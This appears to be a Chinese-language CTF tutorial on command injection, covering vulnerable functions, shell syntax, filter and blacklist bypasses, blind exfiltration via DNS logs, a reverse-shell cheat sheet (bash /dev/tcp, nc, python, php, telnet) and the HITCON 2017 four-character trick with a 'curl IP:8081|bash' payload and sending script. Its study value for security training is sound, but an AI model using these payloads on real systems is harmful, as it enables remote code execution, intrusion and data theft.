命令注入通常因为指Web应用在服务器上拼接系统命令而造成的漏洞。
该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。
可能导致命令注入的函数
PHP
system($cmd)
执行外部程序,并且显示输出exec($cmd, array $output)
执行外部程序
如果提供了第二个参数$output
,那么会用命令执行的输出填充此数组,每行输出填充数组中的一个元素passthru($cmd)
执行外部程序并且显示原始输出shell_exec($cmd)
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回如果执行过程中发生错误或者进程不产生输出,则返回
NULL
popen($cmd, $mode)
打开一个指向进程的管道,该进程由派生给定的 cmd 命令执行而产生。proc_open($cmd, array $descriptorspec, array $pipes)
类似popen()
函数, 但是proc_open()
提供了更加强大的控制程序执行的能力
Pythonos.system
、os.popen
、subprocess.call
、pty.spawn
…
Javajava.lang.Runtime.getRuntime().exec(cmd)
两个例题
第一个
题目源码:
1 |
|
可以看出其没有对用户输入的内容进行一定过滤直接传给shell_exec
函数执行。所以存在命令注入漏洞。
这里只要用;
或者&&
将shell_exec
中的echo
给截断即可执行我们想要执行命令。
本题的payload:?calc=1;cat there_1s_4_fl4g;1
第二个
第二题是在第一题的基础上加了一些过滤措施
1 | if(!empty($_GET)){ |
payload:?calc=1;a=fl;b=ag;cat $a$b;1
Linux中的一些语法
** |
(管道符)**
连接上个指令的标准输出,作为下个指令的标准输入
&
(and符)
用户有时候执行命令要花很长时间,可能会影响做其他事情。最好的方法是将它放在后台执行。
后台运行的程序在用户注销后系统还可以继续执行。当要把命令放在后台执行时,在命令的后面加上&
。
&&
与||
shell在执行某个命令的时候,会返回一个返回值,该返回值保存在shell变量$?
中。当 $? == 0
时,表示执行成功;当 $? == 1
时,表示执行失败。有时候,下一条命令依赖前一条命令是否执行成功。如:在成功地执行一条命令之后再执行另一条命令,或者在一条命令执行失败后再执行另一条命令等。
shell提供了&&
和||
来实现命令执行控制的功能,shell将根据&&
或||
前面命令的返回值来控制其后面命令的执行。
其中,&&
语法格式为:command1 && command2 [&& command3 ...]
命令之间使用&&
连接,实现逻辑与的功能。只有在&&
左边的命令执行成功(命令返回值 $? == 0
),&&
右边的命令才会被执行。只要有一个命令执行失败(命令返回值 $? == 1
),后面的命令就不会被执行
||
语法格式:command1 || command2 [|| command3 ...]
命令之间使用||
连接,实现逻辑或的功能。只有在||
左边的命令执行失败(命令返回值 $? == 1
),||
右边的命令才会被执行。只要有一个命令执行成功(命令返回值 $? == 0
),后面的命令就不会被执行
;
(分号)
当有几个命令要连续执行时,我们可以把它们放在一行内,中间用;
分开。
**`(反引号)**
命令替代,大部分Unix shell
以及编程语言如Perl
、PHP
以及Ruby
等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。例如:
1 | root@kali:~$ echo `pwd` |
单引号和双引号
被单引号括住的内容,将被视为单一字符串。在引号内的变量$
符号将会失效,也就是说,将被视作一般符号处理。
被双引号括住的内容,将被视为单一字符串,防止通配符的扩展,但允许变量扩展 ,这点与单引号的处理方式不同。
1 | root@kali:~$ Test=123 |
输入输出重定向
1 | > >> < << :> &> 2&> 2<>>& >&2 |
文件描述符,用一个数字(通常0-9)来表示一个文件
文件描述符 | 名称 | 常用缩写 | 默认值 |
---|---|---|---|
0 | 标准输入 | stdin | 键盘 |
1 | 标准输出 | stdout | 屏幕 |
2 | 标准错误输出 | stderr | 屏幕 |
我们在简单的用<
或>
时,相当于使用0<
或1>
cmd > file
把cmd命令的输出重定向到文件file中。如果file已经存在,则清空并覆盖原有文件
使用bash
的noclobber
选项可以防止复盖原有文件。cmd >> file
把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面cmd < file
使cmd命令从file读入cmd << text
从命令行读取输入,直到一个与text相同的行结束。
除非使用引号把输入括起来,此模式将对输入内容进行shell变量替换。
如果使用<<-
,则会忽略接下来输入行首的tab,结束行也可以是一堆tab再加上一个与text相同的内容cmd <<< word
把word(而不是文件word)和后面的换行作为输入提供给cmd。cmd <> file
以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。cmd >| file
功能同>
,但即便在设置了noclobber
时也会复盖file文件:> filename
把文件filename截断为0长度。如果文件不存在, 那么就创建一个0长度的文件(与touch
的效果相同).
相当于cat /dev/null >filename
cmd >&n
把输出送到文件描述符n
cmd m>&n
把输出到文件符m
的信息重定向到文件描述符n
cmd >&-
关闭标准输出cmd <&n
输入来自文件描述符n
cmd m<&n
m
来自文件描述符n
cmd <&-
关闭标准输入cmd <&n-
移动输入文件描述符n
而非复制它cmd >&n-
移动输出文件描述符n
而非复制它。
注意:>&
实际上复制了文件描述符,这使得cmd > file 2>&1
与cmd 2>&1 >file
的效果不一样。
通配符
常用的一些linux shell通配符:
字符 | 解释 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符或字符集合 |
[!list] | 同[^list] |
{str1,str2} | 匹配str1或者str2字符,也可以是集合 |
IFS | 由<space>或<tab>或<enter>三者之一组成 |
CR | 由<enter>产生 |
! | 执行history中的命令 |
其中:
[...]
表示匹配方括号之中的任意一个字符。
比如[aeiou]
可以匹配五个元音字母,[a-z]
匹配任意小写字母。{...}
表示匹配大括号里面的所有模式,模式之间使用逗号分隔。
1 | root@kali:~$ echo a{1,2,3}b |
{...}
与[...]
有一个很重要的区别。如果匹配的文件不存在,[...]
会失去模式的功能,变成一个单纯的字符串,而{...}
依然可以展开。
注:上面所有通配符只匹配单层路径,不能跨目录匹配,即无法匹配子目录里面的文件。或者说,?或*这样的通配符,不能匹配路径分隔符(/)。如果要匹配子目录里面的文件,可以写成这样: ls */*.txt
常见绕过姿势
空格过滤
空格可以用以下字符代替:< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS
等
$IFS
在linux下表示分隔符,但是如果单纯的cat$IFS2
,bash解释器会把整个IFS2
当做变量名,所以导致输不出来结果,因此这里加一个{}
就固定了变量名,同理在后面加个$
可以起到截断的作用,使用$9
是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
命令分隔符
linux中:%0a
(换行) 、%0d
(回车) 、;
、&
、|
、&&
、||
windows中:%0a
、&
、|
、%1a
(一个神奇的角色,作为.bat
文件中的命令分隔符)
内联执行
使用” ` “执行命令
1 | root@kali:~$ echo `pwd` |
与此类似的还有$(cmd)
1 | root@kali:~$ echo $(pwd) |
变量拼接执行
1 | root@kali:~$ a=ca |
花括号的别样用法
在Linux bash
中还可以使用{OS_COMMAND,ARGUMENT}
来执行系统命令
1 | root@kali:~$ {whoami,} |
黑名单绕过
拼接绕过
比如:a=l;b=s;$a$b
上面的第二道题目也是利用环境变量拼接方法绕过黑名单:a=fl;b=ag;cat $a$b
编码绕过
base64:
1 | echo MTIzCg==|base64 -d # 其将会打印123 |
hex:
1 | echo "636174202f666c6167" | xxd -r -p|bash ==>cat /flag |
oct:
1 | (printf "\154\163") ==>ls |
单引号和双引号绕过
比如:ca''t flag
或ca""t flag
反斜杠绕过
比如:ca\t fl\ag
利用Shell 特殊变量
变量 | 含义 |
---|---|
$0 |
当前脚本的文件名 |
$n |
传递给脚本或函数的参数。n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。 |
$# |
传递给脚本或函数的参数个数 |
$* |
传递给脚本或函数的所有参数,而参数不存在时其值为空。 |
$@ |
传递给脚本或函数的所有参数。,而参数不存在时其值为空。被双引号包函时,与$* 稍有不同 |
$? |
上个命令的推出状态,或函数的返回值 |
$$ |
当前shell进程ID |
linux shell中$n
表示传递给脚本或函数的参数,其中n
是一个数字,表示第几个参数。
例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。命令行执行命令时$@
也为空
1 | root@kali:~$ ca$@t /fla$1g |
还可以利用不存在的变量:
1 | root@kali:~$ ca${s}t /fl${a}ag |
使用shell通配符
1 | root@kali:~$ /bi?/?at /fla* |
利用已有字符${PS2}
对应字符 >
${PS4}
对应字符 +
利用已经存在的资源
1 | root@kali:~$ echo $HOME |
无回显的命令注入
服务器和dns日志
DNS在解析的时候会留下日志,可以利用读取多级域名的解析日志来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
http://ceye.io 这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io
,当我们把注入信息放到三级域名那里,后台的日志会记录下来
执行这些命令都可以记录到dns日志中
1 | curl http://ip.port.xxx.ceye.io/`whoami` |
其中xxx.ceye.io
是这个网站为你分配的域名
如果自己有vps的话也可以curl
自己的vps
sleep
检测是否有命令注入最好用的方式就是使用sleep
,然后观察是否有延时效果。
除了可以探测是否有命令注入之外,sleep
还可以用于命令盲注。
1 | sleep $(pwd |cut -c 1|tr a 5) |
1 | root@kali:~$ echo $(pwd |cut -c 1|tr / 5) |
解释一下
- 我们执行的命令是
pwd
,这里其返回的是/root
- 将其输出传递给
cut -c 1
,即取其返回值的第一个字符/
- 之后通过
tr
命令将字符/
替换成5
- 之后将
tr
的结果传递给sleep
作为其参数,这里成功将/
替换成了5
,sleep 5
成功执行延时5秒,如果第2步返回的字符不是/
,则不会成功替换,所以不会延时5秒
这样,我们可以判断第一个字符是否为/
,通过修改cut -c 1
中的1
和tr / 5
中的/
就可以逐位将pwd
返回的内容猜解出来
利用暴露的服务
如果是web服务,我们可以将命令返回的内容通过>
来写入到/var/www/html
等网站目录(如果有权限写入),之后即可直接访问下载。
相同原理的还可以利用Ftp、SSH等服务。
反弹shell
没有什么比反弹shell更直接实用的方式了。
bash方式
1 | bash -i >& /dev/tcp/IP/PORT 0>&1 |
sh方式
1 | sh >& /dev/tcp/IP/PORT 0>&1 |
exec方式
1 | exec 5<>/dev/tcp/IP/PORT;cat <&5|while read line;do $line >&5 2>&1;done |
nc方式
1 | 如果安装了正确的版本(存在-e 选项就能直接反弹shell) |
telnet方式
1 | mknod backpipe p && telnet IP PORT 0<backpipe | /bin/bash 1>backpipe |
python方式
1 | python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
php方式
1 | php -r 'exec("/bin/bash -i >& /dev/tcp/IP/PORT")' |
限制长度的利用
前面讲到了>
的用法,我们知道标准输出可以输出到文件
1 | root@kali:~/test$ ls |
还有一点是,不同行的命令可以通过\
拼接到一行来执行
1 | root@kali:~/test$ cat a |
由此,我们可以将想要执行的命令分多次写入为文件名,之后通过ls -t>a
将这些文件名按时间顺序写入到文件a中,最后通过sh
等命令来执行。
需要注意的是,我们需要逆序创建文件
举个栗子:
这里我想要执行cat /flag
这个命令,由于命令中含有/
,而创建文件时无法创建带有/
字符的文件,所有将其转换为cat $(pwd|cut -c 1)flag
,之后将其分成
1 | ca\ |
这5行,之后按照逆序顺序来创建文件
1 | root@kali:~/test$ >ag |
当然,构造好了不一定要最后一步的ls -t>a
,还可以
1 | root@kali:~/test$ ls -t |
需要注意的是
- 所有的linux元字符都要使用反斜线
\
来转义,包括#&;,|*?~<>^()[]{}$\
、` 以及空格 - 创建的文件不能以
.
开头,因为ls -t
不会列出隐藏文件。
*
的另一种用法
先看个例子:
1 | root@kali:~/test$ >pwd |
竟然执行了pwd
这个命令,这是为什么?
这里*
相当于$(dir *)
,所以说如果文件名是命令的话就会返回其执行的结果。
既然这里是将dir *
的结果当做命令执行,那么自然可以在*
后面添加字符来定位命令
1 | root@kali:~/test$ >pwd |
类似,还可以使用?
来达到相同效果
1 | root@kali:~/test$ dir |
神奇!
四字绕过[HITCON 2017 BabyFirst Revenge v2]
关键代码:
1 | if (isset($_POST['cmd']) && strlen($_POST['cmd']) <= 4) |
这里限制了命令长度为4个字符,我们前面构造文件执行命令有一个重要的点就是ls -t>m
,这个命令时不可少的,如果任然使用\\
来创建文件,则只剩下两个字符,加上最开始必须要用>
创建文件,所以只剩下一个可控字符。所以碰到需要转义空格这种地方,就不可行了。
这里使用上面*
的这个trick点,直接看看大佬的方法:
1 | root@kali:~/test$ >dir |
可见,此时构造出了ls -th >g
这一句命令,之后再将想要执行的命令分割成小段写成文件名,再使用构造出来的ls -th >g
合并到文件g中,最后执行sh g
就行了。
这里我使用curl 47.106.211.30:8081|bash
,分割一下
1 | >cu\ |
之后逆序发送数据即可
这里写了一个脚本来发包
1 | import requests |
可以控制一下47.106.211.30:8081的返回内容
之后sh g
就行了。
linux下可以读取文件的工具
直接读取
nl、od、pg、pr、cat、tac、a2p、fmt、ptx、xxd、rev、head、tail、sort、uniq、shuf、fold、more、less、iconv、paste、base64、expand、strings
指定参数读取
od、dd、sed、awk、cut、grep、rgrep、egrep、fgrep、zegrep、zfgrep、bzegrep、bzfgrep
1 | root@010ac1e36898:~$ sed '' /flag |
和别的文件配合读取
cmp、diff、sdiff、comm、join
1 | root@3c6c5d5fcff2:~$ cmp /flag /etc/passwd -cl |